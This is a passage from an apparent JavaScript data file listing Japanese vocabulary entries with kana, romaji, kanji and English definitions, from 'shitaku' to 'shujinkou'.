plastering;soy\"\n\t},\n\n\t{\n\t\t'kana':'したく',\n\t\t'romaji':'shitaku',\n\t\t'kanji':'支度',\n\t\t'definition':\"preparation\"\n\t},\n\n\t{\n\t\t'kana':'したまち',\n\t\t'romaji':'shitamachi',\n\t\t'kanji':'下町',\n\t\t'definition':\"Shitamachi;lower parts of town\"\n\t},\n\n\t{\n\t\t'kana':'したしい',\n\t\t'romaji':'shitashii',\n\t\t'kanji':'親しい',\n\t\t'definition':\"intimate;close (e.g. friend)\"\n\t},\n\n\t{\n\t\t'kana':'したしむ',\n\t\t'romaji':'shitashimu',\n\t\t'kanji':'親しむ',\n\t\t'definition':\"to be intimate with;to befriend\"\n\t},\n\n\t{\n\t\t'kana':'したしらべ',\n\t\t'romaji':'shitashirabe',\n\t\t'kanji':'下調べ',\n\t\t'definition':\"preliminary investigation;preparation\"\n\t},\n\n\t{\n\t\t'kana':'したためる',\n\t\t'romaji':'shitatameru',\n\t\t'kanji':'認める',\n\t\t'definition':\"to write up\"\n\t},\n\n\t{\n\t\t'kana':'したてる',\n\t\t'romaji':'shitateru',\n\t\t'kanji':'仕立てる',\n\t\t'definition':\"to tailor;to make;to prepare;to train;to send (a messenger)\"\n\t},\n\n\t{\n\t\t'kana':'したう',\n\t\t'romaji':'shitau',\n\t\t'kanji':'慕う',\n\t\t'definition':\"to yearn for;to miss;to adore;to love dearly\"\n\t},\n\n\t{\n\t\t'kana':'してい',\n\t\t'romaji':'shitei',\n\t\t'kanji':'指定',\n\t\t'definition':\"designation;specification;assignment;pointing at\"\n\t},\n\n\t{\n\t\t'kana':'してき',\n\t\t'romaji':'shiteki',\n\t\t'kanji':'指摘',\n\t\t'definition':\"pointing out;identification\"\n\t},\n\n\t{\n\t\t'kana':'してん',\n\t\t'romaji':'shiten',\n\t\t'kanji':'支店',\n\t\t'definition':\"branch store (office)\"\n\t},\n\n\t{\n\t\t'kana':'してん',\n\t\t'romaji':'shiten',\n\t\t'kanji':'視点',\n\t\t'definition':\"opinion;point of view;visual point\"\n\t},\n\n\t{\n\t\t'kana':'してつ',\n\t\t'romaji':'shitetsu',\n\t\t'kanji':'私鉄',\n\t\t'definition':\"private railway\"\n\t},\n\n\t{\n\t\t'kana':'しっと',\n\t\t'romaji':'shito',\n\t\t'kanji':'嫉妬',\n\t\t'definition':\"jealousy\"\n\t},\n\n\t{\n\t\t'kana':'シート',\n\t\t'romaji':'shi-to',\n\t\t'kanji':'',\n\t\t'definition':\"seat;sheet\"\n\t},\n\n\t{\n\t\t'kana':'しつ',\n\t\t'romaji':'shitsu',\n\t\t'kanji':'室',\n\t\t'definition':\"room\"\n\t},\n\n\t{\n\t\t'kana':'しつ',\n\t\t'romaji':'shitsu',\n\t\t'kanji':'室',\n\t\t'definition':\"room\"\n\t},\n\n\t{\n\t\t'kana':'しつ',\n\t\t'romaji':'shitsu',\n\t\t'kanji':'質',\n\t\t'definition':\"quality\"\n\t},\n\n\t{\n\t\t'kana':'シーツ',\n\t\t'romaji':'shi-tsu',\n\t\t'kanji':'',\n\t\t'definition':\"sheet\"\n\t},\n\n\t{\n\t\t'kana':'しつぼう',\n\t\t'romaji':'shitsubou',\n\t\t'kanji':'失望',\n\t\t'definition':\"disappointment;despair\"\n\t},\n\n\t{\n\t\t'kana':'しつど',\n\t\t'romaji':'shitsudo',\n\t\t'kanji':'湿度',\n\t\t'definition':\"level of humidity\"\n\t},\n\n\t{\n\t\t'kana':'しつぎ',\n\t\t'romaji':'shitsugi',\n\t\t'kanji':'質疑',\n\t\t'definition':\"question\"\n\t},\n\n\t{\n\t\t'kana':'しつぎょう',\n\t\t'romaji':'shitsugyou',\n\t\t'kanji':'失業',\n\t\t'definition':\"unemployment\"\n\t},\n\n\t{\n\t\t'kana':'しつけ',\n\t\t'romaji':'shitsuke',\n\t\t'kanji':'躾',\n\t\t'definition':\"home discipline;training;upbringing;breeding\"\n\t},\n\n\t{\n\t\t'kana':'しつける',\n\t\t'romaji':'shitsukeru',\n\t\t'kanji':'仕付ける',\n\t\t'definition':\"to be used to a job;to begin to do;to baste;to tack;to plant\"\n\t},\n\n\t{\n\t\t'kana':'しつこい',\n\t\t'romaji':'shitsukoi',\n\t\t'kanji':'',\n\t\t'definition':\"insistent;obstinate\"\n\t},\n\n\t{\n\t\t'kana':'しつもん',\n\t\t'romaji':'shitsumon',\n\t\t'kanji':'質問',\n\t\t'definition':\"question;inquiry\"\n\t},\n\n\t{\n\t\t'kana':'しつれい',\n\t\t'romaji':'shitsurei',\n\t\t'kanji':'失礼',\n\t\t'definition':\"discourtesy;impoliteness;Excuse me;Goodbye\"\n\t},\n\n\t{\n\t\t'kana':'しつれいしました',\n\t\t'romaji':'shitsureishimashita',\n\t\t'kanji':'失礼しました',\n\t\t'definition':\"Excuse me.;I'm sorry.\"\n\t},\n\n\t{\n\t\t'kana':'しつれん',\n\t\t'romaji':'shitsuren',\n\t\t'kanji':'失恋',\n\t\t'definition':\"disappointed love;broken heart;unrequited love;be lovelorn\"\n\t},\n\n\t{\n\t\t'kana':'しわ',\n\t\t'romaji':'shiwa',\n\t\t'kanji':'皺',\n\t\t'definition':\"wrinkles;creases\"\n\t},\n\n\t{\n\t\t'kana':'しや',\n\t\t'romaji':'shiya',\n\t\t'kanji':'視野',\n\t\t'definition':\"field of vision;outlook\"\n\t},\n\n\t{\n\t\t'kana':'しよう',\n\t\t'romaji':'shiyou',\n\t\t'kanji':'使用',\n\t\t'definition':\"use;application;employment;utilization\"\n\t},\n\n\t{\n\t\t'kana':'しよう',\n\t\t'romaji':'shiyou',\n\t\t'kanji':'仕様',\n\t\t'definition':\"way;method;resource;remedy;(technical) specification\"\n\t},\n\n\t{\n\t\t'kana':'しよう',\n\t\t'romaji':'shiyou',\n\t\t'kanji':'私用',\n\t\t'definition':\"personal use;private business\"\n\t},\n\n\t{\n\t\t'kana':'しようにん',\n\t\t'romaji':'shiyounin',\n\t\t'kanji':'使用人',\n\t\t'definition':\"employee;servant\"\n\t},\n\n\t{\n\t\t'kana':'しゆう',\n\t\t'romaji':'shiyuu',\n\t\t'kanji':'私有',\n\t\t'definition':\"private ownership\"\n\t},\n\n\t{\n\t\t'kana':'しぜん',\n\t\t'romaji':'shizen',\n\t\t'kanji':'自然',\n\t\t'definition':\"nature;spontaneous\"\n\t},\n\n\t{\n\t\t'kana':'しぜんかがく',\n\t\t'romaji':'shizenkagaku',\n\t\t'kanji':'自然科学',\n\t\t'definition':\"natural science\"\n\t},\n\n\t{\n\t\t'kana':'しずか',\n\t\t'romaji':'shizuka',\n\t\t'kanji':'静か',\n\t\t'definition':\"quiet;peaceful\"\n\t},\n\n\t{\n\t\t'kana':'しずく',\n\t\t'romaji':'shizuku',\n\t\t'kanji':'雫',\n\t\t'definition':\"drop (of water)\"\n\t},\n\n\t{\n\t\t'kana':'しずまる',\n\t\t'romaji':'shizumaru',\n\t\t'kanji':'静まる',\n\t\t'definition':\"to quieten down;to calm down;to subside;to die down;to abate;to be suppressed\"\n\t},\n\n\t{\n\t\t'kana':'しずめる',\n\t\t'romaji':'shizumeru',\n\t\t'kanji':'沈める',\n\t\t'definition':\"to sink;to submerge\"\n\t},\n\n\t{\n\t\t'kana':'しずむ',\n\t\t'romaji':'shizumu',\n\t\t'kanji':'沈む',\n\t\t'definition':\"to sink;to feel depressed\"\n\t},\n\n\t{\n\t\t'kana':'シーズン',\n\t\t'romaji':'shi-zun',\n\t\t'kanji':'',\n\t\t'definition':\"season (sporting)\"\n\t},\n\n\t{\n\t\t'kana':'しょ',\n\t\t'romaji':'sho',\n\t\t'kanji':'諸',\n\t\t'definition':\"various;many;several\"\n\t},\n\n\t{\n\t\t'kana':'しょ',\n\t\t'romaji':'sho',\n\t\t'kanji':'諸',\n\t\t'definition':\"various;many;several\"\n\t},\n\n\t{\n\t\t'kana':'しょばつ',\n\t\t'romaji':'shobatsu',\n\t\t'kanji':'処罰',\n\t\t'definition':\"punishment\"\n\t},\n\n\t{\n\t\t'kana':'しょぶん',\n\t\t'romaji':'shobun',\n\t\t'kanji':'処分',\n\t\t'definition':\"disposal;dealing;punishment\"\n\t},\n\n\t{\n\t\t'kana':'しょち',\n\t\t'romaji':'shochi',\n\t\t'kanji':'処置',\n\t\t'definition':\"treatment\"\n\t},\n\n\t{\n\t\t'kana':'しょっちゅう',\n\t\t'romaji':'shochuu',\n\t\t'kanji':'',\n\t\t'definition':\"always;constantly\"\n\t},\n\n\t{\n\t\t'kana':'しょどう',\n\t\t'romaji':'shodou',\n\t\t'kanji':'書道',\n\t\t'definition':\"calligraphy\"\n\t},\n\n\t{\n\t\t'kana':'しょはん',\n\t\t'romaji':'shohan',\n\t\t'kanji':'初版',\n\t\t'definition':\"first edition\"\n\t},\n\n\t{\n\t\t'kana':'しょほ',\n\t\t'romaji':'shoho',\n\t\t'kanji':'初歩',\n\t\t'definition':\"elements;rudiments;ABC's of..\"\n\t},\n\n\t{\n\t\t'kana':'しょひょう',\n\t\t'romaji':'shohyou',\n\t\t'kanji':'書評',\n\t\t'definition':\"book review\"\n\t},\n\n\t{\n\t\t'kana':'しょい',\n\t\t'romaji':'shoi',\n\t\t'kanji':'所為',\n\t\t'definition':\"act;deed;one's doing\"\n\t},\n\n\t{\n\t\t'kana':'しょじ',\n\t\t'romaji':'shoji',\n\t\t'kanji':'所持',\n\t\t'definition':\"possession;owning\"\n\t},\n\n\t{\n\t\t'kana':'しょじゅん',\n\t\t'romaji':'shojyun',\n\t\t'kanji':'初旬',\n\t\t'definition':\"first 10 days of the month\"\n\t},\n\n\t{\n\t\t'kana':'しょっき',\n\t\t'romaji':'shoki',\n\t\t'kanji':'食器',\n\t\t'definition':\"tableware\"\n\t},\n\n\t{\n\t\t'kana':'しょく',\n\t\t'romaji':'shoku',\n\t\t'kanji':'職',\n\t\t'definition':\"employment\"\n\t},\n\n\t{\n\t\t'kana':'しょくば',\n\t\t'romaji':'shokuba',\n\t\t'kanji':'職場',\n\t\t'definition':\"one's post;place of work;workplace\"\n\t},\n\n\t{\n\t\t'kana':'しょくぶつ',\n\t\t'romaji':'shokubutsu',\n\t\t'kanji':'植物',\n\t\t'definition':\"plant;vegetation\"\n\t},\n\n\t{\n\t\t'kana':'しょくどう',\n\t\t'romaji':'shokudou',\n\t\t'kanji':'食堂',\n\t\t'definition':\"cafeteria;dining hall\"\n\t},\n\n\t{\n\t\t'kana':'しょくえん',\n\t\t'romaji':'shokuen',\n\t\t'kanji':'食塩',\n\t\t'definition':\"table salt\"\n\t},\n\n\t{\n\t\t'kana':'しょくぎょう',\n\t\t'romaji':'shokugyou',\n\t\t'kanji':'職業',\n\t\t'definition':\"occupation;business\"\n\t},\n\n\t{\n\t\t'kana':'しょくひん',\n\t\t'romaji':'shokuhin',\n\t\t'kanji':'食品',\n\t\t'definition':\"commodity;foodstuff\"\n\t},\n\n\t{\n\t\t'kana':'しょくいん',\n\t\t'romaji':'shokuin',\n\t\t'kanji':'職員',\n\t\t'definition':\"staff member;personnel\"\n\t},\n\n\t{\n\t\t'kana':'しょくじ',\n\t\t'romaji':'shokuji',\n\t\t'kanji':'食事',\n\t\t'definition':\"meal\"\n\t},\n\n\t{\n\t\t'kana':'しょくみんち',\n\t\t'romaji':'shokuminchi',\n\t\t'kanji':'植民地',\n\t\t'definition':\"colony\"\n\t},\n\n\t{\n\t\t'kana':'しょくもつ',\n\t\t'romaji':'shokumotsu',\n\t\t'kanji':'食物',\n\t\t'definition':\"food;foodstuff\"\n\t},\n\n\t{\n\t\t'kana':'しょくむ',\n\t\t'romaji':'shokumu',\n\t\t'kanji':'職務',\n\t\t'definition':\"professional duties\"\n\t},\n\n\t{\n\t\t'kana':'しょくん',\n\t\t'romaji':'shokun',\n\t\t'kanji':'諸君',\n\t\t'definition':\"Gentlemen!;Ladies!\"\n\t},\n\n\t{\n\t\t'kana':'しょくにん',\n\t\t'romaji':'shokunin',\n\t\t'kanji':'職人',\n\t\t'definition':\"worker;mechanic;artisan;craftsman\"\n\t},\n\n\t{\n\t\t'kana':'しょくりょう',\n\t\t'romaji':'shokuryou',\n\t\t'kanji':'食料',\n\t\t'definition':\"food\"\n\t},\n\n\t{\n\t\t'kana':'しょくたく',\n\t\t'romaji':'shokutaku',\n\t\t'kanji':'食卓',\n\t\t'definition':\"dining table\"\n\t},\n\n\t{\n\t\t'kana':'しょくよく',\n\t\t'romaji':'shokuyoku',\n\t\t'kanji':'食欲',\n\t\t'definition':\"appetite (for food)\"\n\t},\n\n\t{\n\t\t'kana':'しょきゅう',\n\t\t'romaji':'shokyuu',\n\t\t'kanji':'初級',\n\t\t'definition':\"elementary level\"\n\t},\n\n\t{\n\t\t'kana':'しょめい',\n\t\t'romaji':'shomei',\n\t\t'kanji':'署名',\n\t\t'definition':\"signature\"\n\t},\n\n\t{\n\t\t'kana':'しょみん',\n\t\t'romaji':'shomin',\n\t\t'kanji':'庶民',\n\t\t'definition':\"masses;common people\"\n\t},\n\n\t{\n\t\t'kana':'しょもつ',\n\t\t'romaji':'shomotsu',\n\t\t'kanji':'書物',\n\t\t'definition':\"books\"\n\t},\n\n\t{\n\t\t'kana':'しょむ',\n\t\t'romaji':'shomu',\n\t\t'kanji':'庶務',\n\t\t'definition':\"general affairs\"\n\t},\n\n\t{\n\t\t'kana':'しょり',\n\t\t'romaji':'shori',\n\t\t'kanji':'処理',\n\t\t'definition':\"processing;dealing with;treatment;disposition;disposal\"\n\t},\n\n\t{\n\t\t'kana':'しょるい',\n\t\t'romaji':'shorui',\n\t\t'kanji':'書類',\n\t\t'definition':\"documents;official papers\"\n\t},\n\n\t{\n\t\t'kana':'しょさい',\n\t\t'romaji':'shosai',\n\t\t'kanji':'書斎',\n\t\t'definition':\"study\"\n\t},\n\n\t{\n\t\t'kana':'しょせき',\n\t\t'romaji':'shoseki',\n\t\t'kanji':'書籍',\n\t\t'definition':\"book;publication\"\n\t},\n\n\t{\n\t\t'kana':'しょしょ',\n\t\t'romaji':'shosho',\n\t\t'kanji':'所々',\n\t\t'definition':\"here and there;some parts (of something)\"\n\t},\n\n\t{\n\t\t'kana':'しょてい',\n\t\t'romaji':'shotei',\n\t\t'kanji':'所定',\n\t\t'definition':\"fixed;prescribed\"\n\t},\n\n\t{\n\t\t'kana':'しょてん',\n\t\t'romaji':'shoten',\n\t\t'kanji':'書店',\n\t\t'definition':\"bookshop\"\n\t},\n\n\t{\n\t\t'kana':'しょとく',\n\t\t'romaji':'shotoku',\n\t\t'kanji':'所得',\n\t\t'definition':\"income;earnings\"\n\t},\n\n\t{\n\t\t'kana':'しょう',\n\t\t'romaji':'shou',\n\t\t'kanji':'傷',\n\t\t'definition':\"wound;injury;hurt;cut;gash;bruise;scratch;scar;weak point\"\n\t},\n\n\t{\n\t\t'kana':'しょう',\n\t\t'romaji':'shou',\n\t\t'kanji':'商',\n\t\t'definition':\"quotient\"\n\t},\n\n\t{\n\t\t'kana':'しょう',\n\t\t'romaji':'shou',\n\t\t'kanji':'傷',\n\t\t'definition':\"wound;injury;hurt;cut;gash;bruise;scratch;scar;weak point\"\n\t},\n\n\t{\n\t\t'kana':'しょう',\n\t\t'romaji':'shou',\n\t\t'kanji':'傷',\n\t\t'definition':\"wound;injury;hurt;cut;gash;bruise;scratch;scar;weak point\"\n\t},\n\n\t{\n\t\t'kana':'しょう',\n\t\t'romaji':'shou',\n\t\t'kanji':'症',\n\t\t'definition':\"illness\"\n\t},\n\n\t{\n\t\t'kana':'しょう',\n\t\t'romaji':'shou',\n\t\t'kanji':'象',\n\t\t'definition':\"phenomenon\"\n\t},\n\n\t{\n\t\t'kana':'しょう',\n\t\t'romaji':'shou',\n\t\t'kanji':'背負う',\n\t\t'definition':\"to be burdened with;to carry on back or shoulder\"\n\t},\n\n\t{\n\t\t'kana':'しょう',\n\t\t'romaji':'shou',\n\t\t'kanji':'賞',\n\t\t'definition':\"prize;award\"\n\t},\n\n\t{\n\t\t'kana':'しょう',\n\t\t'romaji':'shou',\n\t\t'kanji':'章',\n\t\t'definition':\"1. chapter;section; 2. medal\"\n\t},\n\n\t{\n\t\t'kana':'しょうばい',\n\t\t'romaji':'shoubai',\n\t\t'kanji':'商売',\n\t\t'definition':\"trade;business;commerce;transaction;occupation\"\n\t},\n\n\t{\n\t\t'kana':'しょうべん',\n\t\t'romaji':'shouben',\n\t\t'kanji':'小便',\n\t\t'definition':\"urine;piss\"\n\t},\n\n\t{\n\t\t'kana':'しょうぼう',\n\t\t'romaji':'shoubou',\n\t\t'kanji':'消防',\n\t\t'definition':\"fire fighting;fire department\"\n\t},\n\n\t{\n\t\t'kana':'しょうぼうしょ',\n\t\t'romaji':'shoubousho',\n\t\t'kanji':'消防署',\n\t\t'definition':\"fire station\"\n\t},\n\n\t{\n\t\t'kana':'しょうぶ',\n\t\t'romaji':'shoubu',\n\t\t'kanji':'勝負',\n\t\t'definition':\"victory or defeat;match;contest;game;bout\"\n\t},\n\n\t{\n\t\t'kana':'しょうち',\n\t\t'romaji':'shouchi',\n\t\t'kanji':'承知',\n\t\t'definition':\"consent;acceptance;assent;admitting;acknowledgment;compliance;agreement;awareness\"\n\t},\n\n\t{\n\t\t'kana':'しょうちょう',\n\t\t'romaji':'shouchou',\n\t\t'kanji':'象徴',\n\t\t'definition':\"symbol\"\n\t},\n\n\t{\n\t\t'kana':'しょうだく',\n\t\t'romaji':'shoudaku',\n\t\t'kanji':'承諾',\n\t\t'definition':\"consent;acquiescence;agreement\"\n\t},\n\n\t{\n\t\t'kana':'しょうどく',\n\t\t'romaji':'shoudoku',\n\t\t'kanji':'消毒',\n\t\t'definition':\"disinfection;sterilization\"\n\t},\n\n\t{\n\t\t'kana':'しょうがい',\n\t\t'romaji':'shougai',\n\t\t'kanji':'障害',\n\t\t'definition':\"obstacle;impediment (fault)\"\n\t},\n\n\t{\n\t\t'kana':'しょうがい',\n\t\t'romaji':'shougai',\n\t\t'kanji':'生涯',\n\t\t'definition':\"one's lifetime (i.e. one's existance until death)\"\n\t},\n\n\t{\n\t\t'kana':'しょうがっこう',\n\t\t'romaji':'shougakkou',\n\t\t'kanji':'小学校',\n\t\t'definition':\"primary school;elementary school\"\n\t},\n\n\t{\n\t\t'kana':'しょうがくきん',\n\t\t'romaji':'shougakukin',\n\t\t'kanji':'奨学金',\n\t\t'definition':\"scholarship\"\n\t},\n\n\t{\n\t\t'kana':'しょうがくせい',\n\t\t'romaji':'shougakusei',\n\t\t'kanji':'小学生',\n\t\t'definition':\"grade school student\"\n\t},\n\n\t{\n\t\t'kana':'しょうがつ',\n\t\t'romaji':'shougatsu',\n\t\t'kanji':'正月',\n\t\t'definition':\"New Year;New Year's Day;the first month;January\"\n\t},\n\n\t{\n\t\t'kana':'しょうげき',\n\t\t'romaji':'shougeki',\n\t\t'kanji':'衝撃',\n\t\t'definition':\"shock;crash;impact;ballistic\"\n\t},\n\n\t{\n\t\t'kana':'しょうげん',\n\t\t'romaji':'shougen',\n\t\t'kanji':'証言',\n\t\t'definition':\"evidence;testimony\"\n\t},\n\n\t{\n\t\t'kana':'しょうぎ',\n\t\t'romaji':'shougi',\n\t\t'kanji':'将棋',\n\t\t'definition':\"Japanese chess\"\n\t},\n\n\t{\n\t\t'kana':'しょうご',\n\t\t'romaji':'shougo',\n\t\t'kanji':'正午',\n\t\t'definition':\"noon;mid-day\"\n\t},\n\n\t{\n\t\t'kana':'しょうごう',\n\t\t'romaji':'shougou',\n\t\t'kanji':'照合',\n\t\t'definition':\"collation;comparison\"\n\t},\n\n\t{\n\t\t'kana':'しょうぎょう',\n\t\t'romaji':'shougyou',\n\t\t'kanji':'商業',\n\t\t'definition':\"commerce;trade;business\"\n\t},\n\n\t{\n\t\t'kana':'しょうはい',\n\t\t'romaji':'shouhai',\n\t\t'kanji':'勝敗',\n\t\t'definition':\"victory or defeat;issue (of battle)\"\n\t},\n\n\t{\n\t\t'kana':'しょうひ',\n\t\t'romaji':'shouhi',\n\t\t'kanji':'消費',\n\t\t'definition':\"consumption;expenditure\"\n\t},\n\n\t{\n\t\t'kana':'しょうひん',\n\t\t'romaji':'shouhin',\n\t\t'kanji':'賞品',\n\t\t'definition':\"prize;trophy\"\n\t},\n\n\t{\n\t\t'kana':'しょうひん',\n\t\t'romaji':'shouhin',\n\t\t'kanji':'商品',\n\t\t'definition':\"commodity;article of commerce;goods;stock;merchandise\"\n\t},\n\n\t{\n\t\t'kana':'しょうじ',\n\t\t'romaji':'shouji',\n\t\t'kanji':'障子',\n\t\t'definition':\"paper sliding door\"\n\t},\n\n\t{\n\t\t'kana':'しょうじき',\n\t\t'romaji':'shoujiki',\n\t\t'kanji':'正直',\n\t\t'definition':\"honesty;integrity;frankness\"\n\t},\n\n\t{\n\t\t'kana':'しょうじる',\n\t\t'romaji':'shoujiru',\n\t\t'kanji':'生じる',\n\t\t'definition':\"to produce;to yield;to result from;to arise;to be generated\"\n\t},\n\n\t{\n\t\t'kana':'しょうじょう',\n\t\t'romaji':'shoujyou',\n\t\t'kanji':'症状',\n\t\t'definition':\"symptoms;condition\"\n\t},\n\n\t{\n\t\t'kana':'しょうか',\n\t\t'romaji':'shouka',\n\t\t'kanji':'消化',\n\t\t'definition':\"digestion\"\n\t},\n\n\t{\n\t\t'kana':'しょうかい',\n\t\t'romaji':'shoukai',\n\t\t'kanji':'紹介',\n\t\t'definition':\"introduction\"\n\t},\n\n\t{\n\t\t'kana':'しょうきん',\n\t\t'romaji':'shoukin',\n\t\t'kanji':'賞金',\n\t\t'definition':\"prize;monetary award\"\n\t},\n\n\t{\n\t\t'kana':'しょうこ',\n\t\t'romaji':'shouko',\n\t\t'kanji':'証拠',\n\t\t'definition':\"evidence;proof\"\n\t},\n\n\t{\n\t\t'kana':'しょうこう',\n\t\t'romaji':'shoukou',\n\t\t'kanji':'消耗',\n\t\t'definition':\"exhaustion;consumption\"\n\t},\n\n\t{\n\t\t'kana':'しょうきょ',\n\t\t'romaji':'shoukyo',\n\t\t'kanji':'消去',\n\t\t'definition':\"elimination;erasing;dying out;melting away\"\n\t},\n\n\t{\n\t\t'kana':'しょうきょくてき',\n\t\t'romaji':'shoukyokuteki',\n\t\t'kanji':'消極的',\n\t\t'definition':\"passive\"\n\t},\n\n\t{\n\t\t'kana':'しょうめい',\n\t\t'romaji':'shoumei',\n\t\t'kanji':'証明',\n\t\t'definition':\"proof;verification\"\n\t},\n\n\t{\n\t\t'kana':'しょうめい',\n\t\t'romaji':'shoumei',\n\t\t'kanji':'照明',\n\t\t'definition':\"illumination\"\n\t},\n\n\t{\n\t\t'kana':'しょうめん',\n\t\t'romaji':'shoumen',\n\t\t'kanji':'正面',\n\t\t'definition':\"front;frontage;facade;main\"\n\t},\n\n\t{\n\t\t'kana':'しょうみ',\n\t\t'romaji':'shoumi',\n\t\t'kanji':'正味',\n\t\t'definition':\"net (weight)\"\n\t},\n\n\t{\n\t\t'kana':'しょうねん',\n\t\t'romaji':'shounen',\n\t\t'kanji':'少年',\n\t\t'definition':\"boys;juveniles\"\n\t},\n\n\t{\n\t\t'kana':'しょうにか',\n\t\t'romaji':'shounika',\n\t\t'kanji':'小児科',\n\t\t'definition':\"pediatrics\"\n\t},\n\n\t{\n\t\t'kana':'しょうにん',\n\t\t'romaji':'shounin',\n\t\t'kanji':'承認',\n\t\t'definition':\"recognition;acknowledgement;approval;consent;agreement\"\n\t},\n\n\t{\n\t\t'kana':'しょうにん',\n\t\t'romaji':'shounin',\n\t\t'kanji':'証人',\n\t\t'definition':\"witness\"\n\t},\n\n\t{\n\t\t'kana':'しょうらい',\n\t\t'romaji':'shourai',\n\t\t'kanji':'将来',\n\t\t'definition':\"future;prospects\"\n\t},\n\n\t{\n\t\t'kana':'しょうれい',\n\t\t'romaji':'shourei',\n\t\t'kanji':'奨励',\n\t\t'definition':\"encouragement;promotion;message;address\"\n\t},\n\n\t{\n\t\t'kana':'しょうり',\n\t\t'romaji':'shouri',\n\t\t'kanji':'勝利',\n\t\t'definition':\"victory;triumph;conquest;success;win\"\n\t},\n\n\t{\n\t\t'kana':'しょうりゃく',\n\t\t'romaji':'shouryaku',\n\t\t'kanji':'省略',\n\t\t'definition':\"omission;abbreviation;abridgment\"\n\t},\n\n\t{\n\t\t'kana':'しょうさい',\n\t\t'romaji':'shousai',\n\t\t'kanji':'詳細',\n\t\t'definition':\"detail;particulars\"\n\t},\n\n\t{\n\t\t'kana':'しょうせつ',\n\t\t'romaji':'shousetsu',\n\t\t'kanji':'小説',\n\t\t'definition':\"novel;story\"\n\t},\n\n\t{\n\t\t'kana':'しょうしゃ',\n\t\t'romaji':'shousha',\n\t\t'kanji':'商社',\n\t\t'definition':\"trading company;firm\"\n\t},\n\n\t{\n\t\t'kana':'しょうしん',\n\t\t'romaji':'shoushin',\n\t\t'kanji':'昇進',\n\t\t'definition':\"promotion\"\n\t},\n\n\t{\n\t\t'kana':'しょうしょう',\n\t\t'romaji':'shoushou',\n\t\t'kanji':'少々',\n\t\t'definition':\"just a minute;small quantity\"\n\t},\n\n\t{\n\t\t'kana':'しょうそく',\n\t\t'romaji':'shousoku',\n\t\t'kanji':'消息',\n\t\t'definition':\"news;letter;circumstances\"\n\t},\n\n\t{\n\t\t'kana':'しょうする',\n\t\t'romaji':'shousuru',\n\t\t'kanji':'称する',\n\t\t'definition':\"to pretend;to take the name of;to feign;to purport\"\n\t},\n\n\t{\n\t\t'kana':'しょうすう',\n\t\t'romaji':'shousuu',\n\t\t'kanji':'少数',\n\t\t'definition':\"minority;few\"\n\t},\n\n\t{\n\t\t'kana':'しょうたい',\n\t\t'romaji':'shoutai',\n\t\t'kanji':'招待',\n\t\t'definition':\"invitation\"\n\t},\n\n\t{\n\t\t'kana':'しょうたい',\n\t\t'romaji':'shoutai',\n\t\t'kanji':'正体',\n\t\t'definition':\"natural shape;one's true colors;true character;consciousness;senses\"\n\t},\n\n\t{\n\t\t'kana':'しょうてん',\n\t\t'romaji':'shouten',\n\t\t'kanji':'焦点',\n\t\t'definition':\"focus;point\"\n\t},\n\n\t{\n\t\t'kana':'しょうてん',\n\t\t'romaji':'shouten',\n\t\t'kanji':'商店',\n\t\t'definition':\"shop;business firm\"\n\t},\n\n\t{\n\t\t'kana':'しょうとつ',\n\t\t'romaji':'shoutotsu',\n\t\t'kanji':'衝突',\n\t\t'definition':\"collision;conflict\"\n\t},\n\n\t{\n\t\t'kana':'しょうゆ',\n\t\t'romaji':'shouyu',\n\t\t'kanji':'醤油',\n\t\t'definition':\"soy sauce\"\n\t},\n\n\t{\n\t\t'kana':'しょゆう',\n\t\t'romaji':'shoyuu',\n\t\t'kanji':'所有',\n\t\t'definition':\"one's possessions;ownership\"\n\t},\n\n\t{\n\t\t'kana':'しょざい',\n\t\t'romaji':'shozai',\n\t\t'kanji':'所在',\n\t\t'definition':\"whereabouts\"\n\t},\n\n\t{\n\t\t'kana':'しょぞく',\n\t\t'romaji':'shozoku',\n\t\t'kanji':'所属',\n\t\t'definition':\"attached to;belong to\"\n\t},\n\n\t{\n\t\t'kana':'しゅ',\n\t\t'romaji':'shu',\n\t\t'kanji':'種',\n\t\t'definition':\"kind;variety;species\"\n\t},\n\n\t{\n\t\t'kana':'しゅ',\n\t\t'romaji':'shu',\n\t\t'kanji':'種',\n\t\t'definition':\"kind;variety;species\"\n\t},\n\n\t{\n\t\t'kana':'しゅび',\n\t\t'romaji':'shubi',\n\t\t'kanji':'守備',\n\t\t'definition':\"defense\"\n\t},\n\n\t{\n\t\t'kana':'しゅっちょう',\n\t\t'romaji':'shuchou',\n\t\t'kanji':'出張',\n\t\t'definition':\"official tour;business trip\"\n\t},\n\n\t{\n\t\t'kana':'しゅちょう',\n\t\t'romaji':'shuchou',\n\t\t'kanji':'主張',\n\t\t'definition':\"claim;request;insistence;assertion;advocacy;emphasis;contention;opinion;tenet\"\n\t},\n\n\t{\n\t\t'kana':'しゅだい',\n\t\t'romaji':'shudai',\n\t\t'kanji':'主題',\n\t\t'definition':\"subject;theme;motif\"\n\t},\n\n\t{\n\t\t'kana':'しゅだん',\n\t\t'romaji':'shudan',\n\t\t'kanji':'手段',\n\t\t'definition':\"means;way;measure\"\n\t},\n\n\t{\n\t\t'kana':'しゅどう',\n\t\t'romaji':'shudou',\n\t\t'kanji':'主導',\n\t\t'definition':\"main leadership\"\n\t},\n\n\t{\n\t\t'kana':'しゅえい',\n\t\t'romaji':'shuei',\n\t\t'kanji':'守衛',\n\t\t'definition':\"security guard;doorkeeper\"\n\t},\n\n\t{\n\t\t'kana':'しゅえん',\n\t\t'romaji':'shuen',\n\t\t'kanji':'主演',\n\t\t'definition':\"starring;playing the leading part\"\n\t},\n\n\t{\n\t\t'kana':'しゅふ',\n\t\t'romaji':'shufu',\n\t\t'kanji':'主婦',\n\t\t'definition':\"housewife;mistress\"\n\t},\n\n\t{\n\t\t'kana':'しゅげい',\n\t\t'romaji':'shugei',\n\t\t'kanji':'手芸',\n\t\t'definition':\"handicrafts\"\n\t},\n\n\t{\n\t\t'kana':'しゅぎ',\n\t\t'romaji':'shugi',\n\t\t'kanji':'主義',\n\t\t'definition':\"doctrine;rule;principle\"\n\t},\n\n\t{\n\t\t'kana':'しゅご',\n\t\t'romaji':'shugo',\n\t\t'kanji':'主語',\n\t\t'definition':\"subject\"\n\t},\n\n\t{\n\t\t'kana':'しゅほう',\n\t\t'romaji':'shuhou',\n\t\t'kanji':'手法',\n\t\t'definition':\"technique\"\n\t},\n\n\t{\n\t\t'kana':'しゅじんこう',\n\t\t'romaji':'shujinkou',\n\t\t'kanji':'主人公',\n\t\t'definition':\"protagonist;main character;hero(ine) (of a story);head of 